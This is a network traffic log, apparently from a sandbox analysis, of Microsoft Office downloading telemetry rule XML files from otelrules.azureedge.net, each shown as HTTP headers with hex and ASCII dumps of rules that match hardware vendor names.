Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:39 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024039Z-178bfbc474bp8mkvhC1NYCzqnn00000006pg00000000bh3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:39 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:39 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024039Z-178bfbc474bv587zhC1NYCny5w00000006q000000000da6c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:39 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:41 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024041Z-174c587ffdftjz9shC1TEBsh98000000053000000000mz2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:41 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:41 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: ce6e3a8c-101e-0017-74b5-3e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024041Z-178bfbc474bh5zbqhC1NYCkdug00000006rg00000000f4p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:41 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:41 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024041Z-174c587ffdfcb7qhhC1TEB3x7000000005a000000000mhb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:41 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:41 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:41 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 3257ccc0-201e-005d-19b5-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024041Z-178bfbc474bfw4gbhC1NYCunf400000006w0000000008y51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:41 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:41 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:42 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e328efd5-c01e-00a2-56bf-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024042Z-178bfbc474bbcwv4hC1NYCypys00000006tg000000001usa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:42 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:43 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:43 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c77577e7-501e-0078-0da6-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024043Z-15b8b599d88wn9hhhC1TEBry0g00000005dg000000006a1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:43 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:44 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:43 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: b12c7864-501e-007b-43bf-3e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024043Z-15b8b599d889fz52hC1TEB59as000000055g00000000pc3m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:44 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:43 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024043Z-174c587ffdfcb7qhhC1TEB3x7000000005g0000000000ewn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:43 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024044Z-178bfbc474btvfdfhC1NYCa2en00000006x000000000cs5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:44 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:44 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c569ec8c-a01e-003d-0e22-3d98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024044Z-178bfbc474bbbqrhhC1NYCvw7400000006w000000000prqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:44 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" 